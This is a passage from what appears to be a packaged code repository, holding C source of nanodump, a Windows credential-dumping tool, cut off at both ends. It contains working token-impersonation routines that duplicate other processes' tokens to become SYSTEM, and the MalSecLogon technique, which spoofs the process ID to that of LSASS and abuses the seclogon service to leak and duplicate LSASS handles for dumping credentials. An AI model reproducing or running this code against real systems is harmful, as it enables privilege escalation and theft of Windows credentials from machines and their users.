};\n    SECURITY_QUALITY_OF_SERVICE Qos = { 0 };\n    BOOL success;\n\n    ConvertStringSidToSidW = (ConvertStringSidToSidW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ConvertStringSidToSidW_SW2_HASH,\n        0);\n    if (!ConvertStringSidToSidW)\n    {\n        api_not_found(\"ConvertStringSidToSidW\");\n        goto end;\n    }\n\n    success = ConvertStringSidToSidW(pwszTargetSid, &pTargetSid);\n    if (!success)\n    {\n        function_failed(\"ConvertStringSidToSidW\");\n        goto end;\n    }\n\n    // get information of all currently running processes\n    do\n    {\n        dwPrevBufSize = dwBufSize;\n        pBuffer = intAlloc(dwBufSize);\n        if (!pBuffer)\n        {\n            malloc_failed();\n            goto end;\n        }\n\n        status = NtQuerySystemInformation(\n            SystemProcessInformation,\n            pBuffer,\n            dwBufSize,\n            &dwBufSize);\n\n        if (NT_SUCCESS(status))\n            break;\n\n        DATA_FREE(pBuffer, dwPrevBufSize);\n    } while (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_INFO_LENGTH_MISMATCH);\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQuerySystemInformation\", status);\n        goto end;\n    }\n\n    pProcInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;\n\n    InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);\n    InitializeObjectAttributes(&TokenObjectAttributes, NULL, 0, NULL, NULL);\n    Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);\n    Qos.ImpersonationLevel = SecurityImpersonation;\n    Qos.ContextTrackingMode = 0;\n    Qos.EffectiveOnly = FALSE;\n    TokenObjectAttributes.SecurityQualityOfService = &Qos;\n\n    while (TRUE)\n    {\n        uPid.UniqueProcess = pProcInfo->UniqueProcessId;\n\n        status = NtOpenProcess(\n            &hProcess,\n            PROCESS_QUERY_INFORMATION,\n            &ObjectAttributes,\n            &uPid);\n        if (NT_SUCCESS(status))\n        {\n            // open a handle to the token of the process\n            status = NtOpenProcessToken(\n                hProcess,\n                TOKEN_QUERY|TOKEN_DUPLICATE,\n                &hToken);\n\n            if (NT_SUCCESS(status))\n            {\n                status = NtDuplicateToken(\n                    hToken,\n                    MAXIMUM_ALLOWED,\n                    &TokenObjectAttributes,\n                    FALSE,\n                    TokenImpersonation,\n                    &hTokenDup);\n\n                if (NT_SUCCESS(status))\n                {\n                    success = token_get_sid(hTokenDup, &pSidTmp);\n                    if (success)\n                    {\n                        success = token_get_username(hTokenDup, &pwszUsername);\n                        if (success)\n                        {\n                            success = token_compare_sids(pSidTmp, pTargetSid);\n                            if (success)\n                            {\n                                DPRINT(\"Found a potential Process candidate: PID=%d - Image='%ls' - User='%ls'\", (USHORT)(ULONG_PTR)pProcInfo->UniqueProcessId, pProcInfo->ImageName.Buffer, pwszUsername);\n\n                                BOOL bTokenIsNotRestricted = FALSE;\n                                success = token_is_not_restricted(hTokenDup, &bTokenIsNotRestricted);\n                                if (success)\n                                {\n                                    if (!bTokenIsNotRestricted)\n                                    {\n                                        DPRINT(\"This token is restricted.\");\n                                    }\n                                    else\n                                    {\n                                        DPRINT(\"This token is not restricted.\");\n\n                                        success = check_token_privileges(\n                                            hTokenDup,\n                                            pwszPrivileges,\n                                            dwPrivilegeCount,\n                                            TRUE);\n                                        if (success)\n                                        {\n                                            DPRINT(\"Found a valid Token.\");\n                                            *phToken = hTokenDup;\n                                            bReturnValue = TRUE;\n                                        }\n                                        else\n                                        {\n                                            DPRINT(\"The token was not valid.\");\n                                        }\n                                    }\n                                }\n                            }\n                            DATA_FREE(pwszUsername, wcslen(pwszUsername) * sizeof(WCHAR));\n                        }\n                        LocalFree(pSidTmp); pSidTmp = NULL;\n                    }\n                    if (!bReturnValue)\n                    {\n                        NtClose(hTokenDup); hTokenDup = NULL;\n                    }\n                }\n                NtClose(hToken); hToken = NULL;\n            }\n            NtClose(hProcess); hProcess = NULL;\n        }\n        // If we found a valid token, stop\n        if (bReturnValue)\n            break;\n\n        // If next entry is null, stop\n        if (!pProcInfo->NextEntryOffset)\n            break;\n\n        // Increment SYSTEM_PROCESS_INFORMATION pointer\n        pProcInfo = (PSYSTEM_PROCESS_INFORMATION)((PBYTE)pProcInfo + pProcInfo->NextEntryOffset);\n    }\n\n    if (!bReturnValue)\n    {\n        PRINT_ERR(\"No valid process token to impersonate was found.\");\n    }\n\nend:\n    if (pTargetSid)\n        LocalFree(pTargetSid);\n    if (pBuffer)\n    {\n        DATA_FREE(pBuffer, dwBufSize);\n    }\n\n    return bReturnValue;\n}\n\nBOOL revert_to_self(VOID)\n{\n    BOOL success = FALSE;\n    RevertToSelf_t RevertToSelf = NULL;\n\n    RevertToSelf = (RevertToSelf_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RevertToSelf_SW2_HASH,\n        0);\n    if (!RevertToSelf)\n    {\n        api_not_found(\"RevertToSelf\");\n        return FALSE;\n    }\n\n    success = RevertToSelf();\n\n    if (success)\n    {\n        DPRINT(\"Reverted to self\");\n    }\n    else\n    {\n        function_failed(\"RevertToSelf\");\n    }\n\n    return success;\n}\n\nBOOL impersonate_process(\n    IN DWORD process_id,\n    OUT PHANDLE phProcessToken)\n{\n    BOOL success = FALSE;\n    HANDLE hProcess = NULL;\n    HANDLE hToken = NULL;\n    HANDLE hTokenDup = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    CLIENT_ID uPid = { 0 };\n    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };\n    SECURITY_QUALITY_OF_SERVICE Qos = { 0 };\n    OBJECT_ATTRIBUTES TokenObjectAttributes = { 0 };\n    *phProcessToken = NULL;\n\n    InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);\n    InitializeObjectAttributes(&TokenObjectAttributes, NULL, 0, NULL, NULL);\n    Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);\n    Qos.ImpersonationLevel = SecurityImpersonation;\n    Qos.ContextTrackingMode = 0;\n    Qos.EffectiveOnly = FALSE;\n    TokenObjectAttributes.SecurityQualityOfService = &Qos;\n\n    uPid.UniqueProcess = (HANDLE)(ULONG_PTR)process_id;\n\n    LPCWSTR ppwszRequiredPrivileges[2] = {\n        L\"SeDebugPrivilege\",\n        L\"SeImpersonatePrivilege\"\n    };\n\n    success = check_token_privileges(\n        NULL,\n        ppwszRequiredPrivileges,\n        ARRAY_SIZE(ppwszRequiredPrivileges),\n        TRUE);\n    if (!success)\n        goto end;\n\n    status = NtOpenProcess(\n        &hProcess,\n        PROCESS_QUERY_INFORMATION,\n        &ObjectAttributes,\n        &uPid);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenProcess\", status);\n        goto end;\n    }\n\n    status = NtOpenProcessToken(\n        hProcess,\n        TOKEN_QUERY|TOKEN_DUPLICATE,\n        &hToken);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenProcessToken\", status);\n        goto end;\n    }\n\n    status = NtDuplicateToken(\n        hToken,\n        MAXIMUM_ALLOWED,\n        &TokenObjectAttributes,\n        FALSE,\n        TokenImpersonation,\n        &hTokenDup);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtDuplicateToken\", status);\n        goto end;\n    }\n\n    success = impersonate(hTokenDup);\n    if (!success)\n        goto end;\n\n    *phProcessToken = hTokenDup;\n    DPRINT(\"Impersonating PID %ld\", process_id);\n\nend:\n    if (hProcess)\n        NtClose(hProcess);\n    if (hToken)\n        NtClose(hToken);\n    if (!success && hTokenDup)\n        NtClose(hTokenDup);\n\n    return success;\n}\n\nBOOL impersonate_system(\n    OUT PHANDLE phSystemToken)\n{\n    BOOL success;\n    LPCWSTR pwszPrivileges[2] = {\n        L\"SeDebugPrivilege\",\n        L\"SeAssignPrimaryTokenPrivilege\"\n    };\n\n    success = impersonate_user(\n        L\"S-1-5-18\",\n        phSystemToken,\n        pwszPrivileges,\n        ARRAY_SIZE(pwszPrivileges));\n\n    if (!success)\n    {\n        PRINT_ERR(\"Could not impersonate SYSTEM\");\n    }\n\n    return success;\n}\n\nBOOL impersonate_local_service(\n    OUT PHANDLE phLocalServiceToken)\n{\n    BOOL success;\n    \n    success = impersonate_user(\n        L\"S-1-5-19\",\n        phLocalServiceToken,\n        NULL,\n        0);\n\n    if (!success)\n    {\n        PRINT_ERR(\"Could not impersonate LOCAL SERVICE\");\n    }\n\n    return success;\n}\n\nBOOL token_get_sid(\n    IN HANDLE hToken,\n    OUT PSID* ppSid)\n{\n    BOOL bReturnValue = FALSE;\n    DWORD dwSize = 8;\n    DWORD dwPrevSize = dwSize;\n    PTOKEN_USER pTokenUser = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    BOOL success;\n    CopySid_t CopySid;\n\n    CopySid = (CopySid_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CopySid_SW2_HASH,\n        0);\n    if (!CopySid)\n    {\n        api_not_found(\"CopySid\");\n        goto end;\n    }\n\n    do\n    {\n        dwPrevSize = dwSize;\n        pTokenUser = intAlloc(dwSize);\n        if (!pTokenUser)\n        {\n            malloc_failed();\n            goto end;\n        }\n\n        status = NtQueryInformationToken(\n            hToken,\n            TokenUser,\n            pTokenUser,\n            dwSize,\n            &dwSize);\n        if (NT_SUCCESS(status))\n            break;\n\n        DATA_FREE(pTokenUser, dwPrevSize);\n    } while (status == STATUS_BUFFER_TOO_SMALL);\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationToken\", status);\n        goto end;\n    }\n\n    *ppSid = (PSID)LocalAlloc(LPTR, SECURITY_MAX_SID_SIZE);\n    if (!*ppSid)\n    {\n        function_failed(\"LocalAlloc\");\n        goto end;\n    }\n\n    success = CopySid(\n        SECURITY_MAX_SID_SIZE,\n        *ppSid,\n        pTokenUser->User.Sid);\n    if (!success)\n    {\n        function_failed(\"CopySid\");\n        goto end;\n    }\n\n    bReturnValue = TRUE;\n\nend:\n    if (pTokenUser)\n    {\n        DATA_FREE(pTokenUser, dwSize);\n    }\n    if (!bReturnValue && *ppSid)\n    {\n        LocalFree(*ppSid); *ppSid = NULL;\n    }\n\n    return bReturnValue;\n}\n\nBOOL token_get_sid_as_string(\n    IN HANDLE hToken,\n    OUT LPWSTR* ppwszStringSid)\n{\n    PSID pSid = NULL;\n    BOOL success;\n    ConvertSidToStringSidW_t ConvertSidToStringSidW;\n\n    ConvertSidToStringSidW = (ConvertSidToStringSidW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ConvertSidToStringSidW_SW2_HASH,\n        0);\n    if (!ConvertSidToStringSidW)\n    {\n        api_not_found(\"ConvertSidToStringSidW\");\n        return FALSE;\n    }\n\n    success = token_get_sid(hToken, &pSid);\n    if (!success)\n        return FALSE;\n\n    success = ConvertSidToStringSidW(pSid, ppwszStringSid);\n\n    LocalFree(pSid); pSid = NULL;\n\n    if (!success)\n    {\n        function_failed(\"ConvertSidToStringSidW\");\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL is_current_user_system(\n    OUT PBOOL pbResult)\n{\n    HANDLE hToken = NULL;\n    LPWSTR pwszStringSid = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    BOOL success;\n\n    status = NtOpenProcessToken(\n        NtCurrentProcess(),\n        TOKEN_QUERY,\n        &hToken);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenProcessToken\", status);\n        return FALSE;\n    }\n\n    success = token_get_sid_as_string(\n        hToken,\n        &pwszStringSid);\n\n    NtClose(hToken); hToken = NULL;\n\n    if (!success)\n        return FALSE;\n\n    *pbResult = _wcsicmp(pwszStringSid, L\"S-1-5-18\") == 0;\n\n    LocalFree(pwszStringSid); pwszStringSid = NULL;\n\n    return TRUE;\n}\n\nBOOL token_compare_sids(\n    IN PSID pSidA,\n    IN PSID pSidB)\n{\n    BOOL bReturnValue = FALSE;\n    LPWSTR pwszSidA = NULL;\n    LPWSTR pwszSidB = NULL;\n    ConvertSidToStringSidW_t ConvertSidToStringSidW;\n    BOOL success;\n\n    ConvertSidToStringSidW = (ConvertSidToStringSidW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        ConvertSidToStringSidW_SW2_HASH,\n        0);\n    if (!ConvertSidToStringSidW)\n    {\n        api_not_found(\"ConvertSidToStringSidW\");\n        goto end;\n    }\n\n    success = ConvertSidToStringSidW(pSidA, &pwszSidA);\n    if (!success)\n    {\n        function_failed(\"ConvertSidToStringSidW\");\n        goto end;\n    }\n\n    success = ConvertSidToStringSidW(pSidB, &pwszSidB);\n    if (!success)\n    {\n        function_failed(\"ConvertSidToStringSidW\");\n        goto end;\n    }\n\n    bReturnValue = _wcsicmp(pwszSidA, pwszSidB) == 0;\n\nend:\n    if (pwszSidA)\n        LocalFree(pwszSidA);\n    if (pwszSidB)\n        LocalFree(pwszSidB);\n\n    return bReturnValue;\n}\n\nBOOL token_is_not_restricted(\n    IN HANDLE hToken,\n    OUT PBOOL pbIsNotRestricted)\n{\n    DWORD dwSize = 8;\n    DWORD dwPrevSize = dwSize;\n    PTOKEN_GROUPS pTokenGroups = NULL;\n    NTSTATUS status;\n\n    do\n    {\n        dwPrevSize = dwSize;\n        pTokenGroups = intAlloc(dwSize);\n        if (!pTokenGroups)\n        {\n            malloc_failed();\n            return FALSE;\n        }\n\n        status = NtQueryInformationToken(\n            hToken,\n            TokenRestrictedSids,\n            pTokenGroups,\n            dwSize,\n            &dwSize);\n        if (NT_SUCCESS(status))\n            break;\n\n        DATA_FREE(pTokenGroups, dwPrevSize);\n    } while (status == STATUS_BUFFER_TOO_SMALL);\n\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtQueryInformationToken\", status);\n        return FALSE;\n    }\n\n    *pbIsNotRestricted = pTokenGroups->GroupCount == 0;\n\n    DATA_FREE(pTokenGroups, dwSize);\n\n    return TRUE;\n}\n\nBOOL token_get_username(\n    IN HANDLE hToken,\n    OUT LPWSTR* ppwszUsername)\n{\n    BOOL bReturnValue = FALSE;\n    PSID pSid = NULL;\n    const DWORD dwMaxSize = 256;\n    WCHAR wszUsername[256] = { 0 };\n    WCHAR wszDomain[256] = { 0 };\n    DWORD dwMaxUsername = dwMaxSize;\n    DWORD dwMaxDomain = dwMaxSize;\n    SID_NAME_USE type;\n    BOOL success;\n    LookupAccountSidW_t LookupAccountSidW;\n\n    LookupAccountSidW = (LookupAccountSidW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        LookupAccountSidW_SW2_HASH,\n        0);\n    if (!LookupAccountSidW)\n    {\n        api_not_found(\"LookupAccountSidW\");\n        goto end;\n    }\n\n    success = token_get_sid(hToken, &pSid);\n    if (!success)\n        goto end;\n\n    success = LookupAccountSidW(\n        NULL,\n        pSid,\n        wszUsername,\n        &dwMaxUsername,\n        wszDomain,\n        &dwMaxDomain,\n        &type);\n    if (!success)\n    {\n        function_failed(\"LookupAccountSidW\");\n        goto end;\n    }\n\n    *ppwszUsername = intAlloc((dwMaxSize * 2 + 1) * sizeof(WCHAR));\n    if (!*ppwszUsername)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    wcsncpy(*ppwszUsername, wszDomain, dwMaxSize * 2 + 1);\n    wcsncat(*ppwszUsername, L\"\\\\\", dwMaxSize * 2 + 1);\n    wcsncat(*ppwszUsername, wszUsername, dwMaxSize * 2 + 1);\n\n    bReturnValue = TRUE;\n\nend:\n    if (pSid)\n        LocalFree(pSid);\n\n    return bReturnValue;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/malseclogon.c",
    "content": "#include \"malseclogon.h\"\n#include \"handle.h\"\n#include \"dinvoke.h\"\n#include \"token_priv.h\"\n\n#if defined(NANO) && !defined(SSP)\n\nVOID change_pid(\n    IN DWORD new_pid,\n    OUT PDWORD previous_pid)\n{\n    DWORD current_pid = (DWORD)READ_MEMLOC(CID_OFFSET);\n    DPRINT(\n        \"Changing the current PID from %ld to %ld\",\n        current_pid,\n        new_pid);\n    if (previous_pid)\n        *previous_pid = current_pid;\n    PDWORD pPid = (PDWORD)&(((struct TEB*)NtCurrentTeb())->ClientId);\n    // the memory region where the TEB is should be RW\n    *pPid = new_pid;\n}\n\nVOID set_command_line(\n    IN BOOL use_malseclogon_locally,\n    IN LPWSTR command_line,\n    IN LPCSTR program_name,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN LPWSTR synchronization_file)\n{\n    // program path\n    wchar_t program_name_w[MAX_PATH];\n    mbstowcs(program_name_w, program_name, MAX_PATH);\n    wcsncpy(command_line, L\"\\\"\", MAX_PATH);\n    wcsncat(command_line, program_name_w, MAX_PATH);\n    wcsncat(command_line, L\"\\\"\", MAX_PATH);\n    if (!use_malseclogon_locally)\n        return;\n    // dump path\n    if (dump_path)\n    {\n        wchar_t dump_path_w[MAX_PATH];\n        mbstowcs(dump_path_w, dump_path, MAX_PATH);\n        wcsncat(command_line, L\" -w \", MAX_PATH);\n        wcsncat(command_line, dump_path_w, MAX_PATH);\n    }\n    // --fork\n    if (fork_lsass)\n        wcsncat(command_line, L\" -f\", MAX_PATH);\n    // --snapshot\n    if (snapshot_lsass)\n        wcsncat(command_line, L\" -s\", MAX_PATH);\n    // --valid\n    if (use_valid_sig)\n        wcsncat(command_line, L\" -v\", MAX_PATH);\n    if (use_lsass_shtinkering)\n        wcsncat(command_line, L\" -sk\", MAX_PATH);\n    if (synchronization_file)\n    {\n        wcsncat(command_line, L\" -sync \", MAX_PATH);\n        wcsncat(command_line, synchronization_file, MAX_PATH);\n    }\n    // malseclogon\n    wcsncat(command_line, L\" -sll\", MAX_PATH);\n    // --stage 2\n    wcsncat(command_line, L\" -s2\", MAX_PATH);\n}\n\nBOOL save_new_process_pid(\n    IN PPROCESS_LIST process_list,\n    IN DWORD pid)\n{\n    if (!process_list)\n        return TRUE;\n\n    if (process_list->Count + 1 > MAX_PROCESSES)\n    {\n        PRINT_ERR(\"Too many processes, please increase MAX_PROCESSES\");\n        return FALSE;\n    }\n    process_list->ProcessId[process_list->Count++] = pid;\n    return TRUE;\n}\n\n// wait until the process exits and check if the dumpfile exists\nBOOL check_if_succeded(\n    IN DWORD new_pid,\n    IN LPWSTR synchronization_file)\n{\n    CHAR full_path[MAX_PATH] = { 0 };\n    wcstombs(full_path, synchronization_file, MAX_PATH);\n\n    // we cannot call WaitForSingleObject on the returned handle in startInfo because the handles are duped into lsass process, we need a new handle\n    HANDLE hSpoofedProcess = get_process_handle(\n        new_pid,\n        SYNCHRONIZE,\n        FALSE,\n        0);\n    if (!hSpoofedProcess)\n        return FALSE;\n\n    BOOL success = wait_for_process(hSpoofedProcess);\n    NtClose(hSpoofedProcess); hSpoofedProcess = NULL;\n    if (!success)\n        return FALSE;\n\n    if (!file_exists(full_path))\n        return FALSE;\n\n    if (!delete_file(full_path))\n        return FALSE;\n\n    return TRUE;\n}\n\nVOID kill_created_processes(\n    IN PPROCESS_LIST created_processes)\n{\n    if (!created_processes)\n        return;\n\n    DPRINT(\n        \"Killing the %ld created processes\",\n        created_processes->Count);\n    for (DWORD i = 0; i < created_processes->Count; i++)\n    {\n        kill_process(\n            created_processes->ProcessId[i],\n            NULL);\n    }\n    DPRINT(\"The created processes have been killed\");\n}\n\n/*\n * MalSecLogon can be used agains nanodump itself (writing it to disk)\n * or use a another binary (like notepad.exe) and duplicate\n * the leaked handle in order to remain fileless\n */\nBOOL malseclogon_handle_leak(\n    IN LPCSTR binary_path,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN BOOL use_malseclogon_locally,\n    IN DWORD lsass_pid,\n    OUT PPROCESS_LIST* Pcreated_processes)\n{\n    PPROCESS_LIST created_processes = NULL;\n    BOOL success;\n\n    DPRINT(\"Using MalSecLogon to get a handle to \" LSASS);\n    // if MalSecLogon is used to create other processes, save their PID\n    if (!use_malseclogon_locally)\n    {\n        created_processes = intAlloc(sizeof(PROCESS_LIST));\n        if (!created_processes)\n        {\n            if (Pcreated_processes)\n                *Pcreated_processes = NULL;\n            malloc_failed();\n            DPRINT_ERR(\"Failed to get handle to \" LSASS \" using MalSecLogon\");\n            return FALSE;\n        }\n    }\n    if (Pcreated_processes)\n        *Pcreated_processes = created_processes;\n    // leak an LSASS handle using MalSecLogon\n    success = malseclogon_stage_1(\n        binary_path,\n        dump_path,\n        fork_lsass,\n        snapshot_lsass,\n        use_valid_sig,\n        use_lsass_shtinkering,\n        use_malseclogon_locally,\n        lsass_pid,\n        created_processes);\n    if (!success)\n    {\n        PRINT_ERR(\"the --malseclogon-leak-local technique failed!\");\n        if (created_processes)\n        {\n            kill_created_processes(created_processes);\n            DATA_FREE(created_processes, sizeof(PROCESS_LIST));\n            if (Pcreated_processes)\n                *Pcreated_processes = NULL;\n        }\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nVOID generate_rand_string(\n    OUT LPWSTR str,\n    IN DWORD size)\n{\n    time_t t;\n    DWORD key = 0;\n    DWORD start = 0;\n    DWORD len_name = 15;\n    DWORD i = 0;\n\n    srand((unsigned) time(&t));\n\n    for (start = 0; str[start] && start < size - 1; start++){}\n    str[start++] = '\\\\';\n\n    CHAR charset[] = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n    for (i = 0; i < len_name; i++)\n    {\n        key = rand() % (sizeof charset - 1);\n        str[start + i] = charset[key];\n    }\n    str[start + i] = '\\x00';\n}\n\nBOOL generate_synchronization_file(\n    OUT LPWSTR synchronization_file,\n    IN DWORD size)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n\n    success = get_env_var(\n        L\"Temp\",\n        synchronization_file,\n        size);\n    if (!success)\n        goto cleanup;\n\n    generate_rand_string(synchronization_file, size);\n\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nBOOL malseclogon_stage_1(\n    IN LPCSTR program_name,\n    IN LPCSTR dump_path,\n    IN BOOL fork_lsass,\n    IN BOOL snapshot_lsass,\n    IN BOOL use_valid_sig,\n    IN BOOL use_lsass_shtinkering,\n    IN BOOL use_malseclogon_locally,\n    IN DWORD lsass_pid,\n    OUT PPROCESS_LIST process_list)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    PHANDLE_LIST handle_list = NULL;\n    LPWSTR synchronization_file = NULL;\n    wchar_t command_line[MAX_PATH] = { 0 };\n    DWORD original_pid = 0;\n    PROCESS_INFORMATION procInfo = { 0 };\n    STARTUPINFOW startInfo = { 0 };\n    wchar_t filename[MAX_PATH] = { 0 };\n    CreateProcessWithLogonW_t CreateProcessWithLogonW = NULL;\n    DWORD handles_leaked = 0;\n    BOOL synchronization_file_found = FALSE;\n\n    if (use_lsass_shtinkering || use_malseclogon_locally)\n    {\n        synchronization_file = intAlloc(MAX_PATH);\n        if (!synchronization_file)\n        {\n            malloc_failed();\n            goto cleanup;\n        }\n        success = generate_synchronization_file(\n            synchronization_file,\n            MAX_PATH);\n        if (!success)\n            goto cleanup;\n\n        DPRINT(\"synchronization_file: %ls\", synchronization_file);\n    }\n\n    set_command_line(\n        use_malseclogon_locally,\n        command_line,\n        program_name,\n        dump_path,\n        fork_lsass,\n        snapshot_lsass,\n        use_valid_sig,\n        use_lsass_shtinkering,\n        synchronization_file);\n\n    DPRINT(\"command line: %ls\", command_line);\n\n    success = find_process_handles_in_process(\n        lsass_pid,\n        get_lsass_min_permissions(),\n        &handle_list);\n    if (!success)\n        goto cleanup;\n\n    if (handle_list->Count == 0)\n    {\n        PRINT_ERR(\n            \"No handles found in \" LSASS \", is the PID %ld correct?.\",\n            lsass_pid);\n        goto cleanup;\n    }\n\n    // change our PID to the LSASS PID\n    change_pid(lsass_pid, &original_pid);\n\n    mbstowcs(filename, program_name, MAX_PATH);\n\n    // find the address of CreateProcessWithLogonW dynamically\n    CreateProcessWithLogonW = (CreateProcessWithLogonW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CreateProcessWithLogonW_SW2_HASH,\n        0);\n    if (!CreateProcessWithLogonW)\n    {\n        api_not_found(\"CreateProcessWithLogonW\");\n        goto cleanup;\n    }\n\n    while (handles_leaked < handle_list->Count)\n    {\n        memset(&procInfo, 0, sizeof(PROCESS_INFORMATION));\n        memset(&startInfo, 0, sizeof(STARTUPINFOW));\n        startInfo.dwFlags = STARTF_USESTDHANDLES;\n\n        startInfo.hStdInput = handle_list->Handle[handles_leaked++];\n\n        if (handle_list->Count > handles_leaked)\n            startInfo.hStdOutput = handle_list->Handle[handles_leaked++];\n\n        if (handle_list->Count > handles_leaked)\n            startInfo.hStdError = handle_list->Handle[handles_leaked++];\n\n        success = CreateProcessWithLogonW(\n            NANODUMP_USER,\n            NANODUMP_DOMAIN,\n            NANODUMP_PASSWD,\n            LOGON_NETCREDENTIALS_ONLY,\n            filename,\n            command_line,\n            0,\n            NULL,\n            NULL,\n            &startInfo,\n            &procInfo);\n        if (procInfo.hProcess)\n            NtClose(procInfo.hProcess);\n        if (procInfo.hThread)\n            NtClose(procInfo.hThread);\n        if (!success)\n        {\n            function_failed(\"CreateProcessWithLogonW\");\n            goto cleanup;\n        }\n        DPRINT(\n            \"Created new process '%ls' (PID: %ld) with CreateProcessWithLogonW to leak process handles from \" LSASS \": 0x%lx 0x%lx 0x%lx\",\n            filename,\n            procInfo.dwProcessId,\n            (DWORD)(ULONG_PTR)startInfo.hStdInput,\n            (DWORD)(ULONG_PTR)startInfo.hStdOutput,\n            (DWORD)(ULONG_PTR)startInfo.hStdError);\n\n        // save the PID of the newly created process\n        success = save_new_process_pid(process_list, procInfo.dwProcessId);\n        if (!success)\n            goto cleanup;\n\n        if (synchronization_file)\n        {\n            success = check_if_succeded(\n                procInfo.dwProcessId,\n                synchronization_file);\n            if (success)\n            {\n                synchronization_file_found = TRUE;\n                break;\n            }\n        }\n    }\n\n    if ((use_malseclogon_locally || use_lsass_shtinkering) &&\n        !synchronization_file_found)\n    {\n        DPRINT_ERR(\"The created nanodump process did not create the dump\");\n        goto cleanup;\n    }\n\n    if (use_lsass_shtinkering)\n    {\n        print_shtinkering_crash_location();\n    }\n    else if (use_malseclogon_locally)\n    {\n        print_success(dump_path, use_valid_sig, TRUE);\n    }\n    else\n    {\n        // use_malseclogon_remotely\n        DPRINT(\n            \"Created %ld processes, trying to duplicate one of the leaked handles to \" LSASS,\n            process_list->Count);\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (synchronization_file)\n    {\n        DATA_FREE(synchronization_file, wcslen(synchronization_file) * sizeof(WCHAR));\n    }\n    if (handle_list)\n    {\n        DATA_FREE(handle_list, sizeof(HANDLE_LIST));\n    }\n    if (original_pid)\n        change_pid(original_pid, NULL);\n\n    return ret_val;\n}\n\nVOID malseclogon_trigger_lock(\n    IN DWORD lsass_pid,\n    IN LPWSTR cmdline,\n    IN PBOOL file_lock_was_triggered)\n{\n    DWORD original_pid = 0;\n    BOOL useCreateProcessWithToken = FALSE;\n    PHANDLE_LIST handle_list = NULL;\n    BOOL success = FALSE;\n    PROCESS_INFORMATION procInfo = { 0 };\n    CreateProcessWithTokenW_t CreateProcessWithTokenW = NULL;\n    CreateProcessWithLogonW_t CreateProcessWithLogonW = NULL;\n    STARTUPINFO startInfo = { 0 };\n\n    CreateProcessWithTokenW = (CreateProcessWithTokenW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CreateProcessWithTokenW_SW2_HASH,\n        0);\n    if (!CreateProcessWithTokenW)\n    {\n        api_not_found(\"CreateProcessWithTokenW\");\n        goto end;\n    }\n\n    CreateProcessWithLogonW = (CreateProcessWithLogonW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CreateProcessWithLogonW_SW2_HASH,\n        0);\n    if (!CreateProcessWithLogonW)\n    {\n        api_not_found(\"CreateProcessWithLogonW\");\n        goto end;\n    }\n\n    // change our PID to the LSASS PID\n    change_pid(lsass_pid, &original_pid);\n\n    // try to enable impersonation privileges\n    success = enable_impersonate_priv();\n    if (success)\n    {\n        // find token handles within LSASS\n        success = find_token_handles_in_process(\n            lsass_pid,\n            0,\n            &handle_list);\n        if (!success || !handle_list->Count)\n        {\n            DPRINT(\"No token handles found in \" LSASS \", can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\");\n            useCreateProcessWithToken = FALSE;\n        }\n        else\n        {\n            useCreateProcessWithToken = TRUE;\n        }\n    }\n    else\n    {\n        DPRINT(\"Impersonation privileges not available, can't use CreateProcessWithToken(). Reverting to CreateProcessWithLogon()...\");\n        useCreateProcessWithToken = FALSE;\n    }\n\n    // printing output in from thread after this point makes no sense\n\n    /*\n     * call CreateProcessWithTokenW/CreateProcessWithLogonW so that:\n     * 1) seclogon will open a handle to our spoofed PID (LSASS)\n     * 2) it will try to open a handle to our target file\n     * 3) our lock will trigger and pause the execution of seclogon\n     * 4) we will have plenty of time to duplicate that handle\n     */\n\n    if (useCreateProcessWithToken)\n    {\n        for (DWORD i = 0; i < handle_list->Count; i++)\n        {\n            if (*file_lock_was_triggered)\n                goto end;\n\n            memset(&procInfo, 0, sizeof(PROCESS_INFORMATION));\n            memset(&startInfo, 0, sizeof(STARTUPINFOW));\n\n           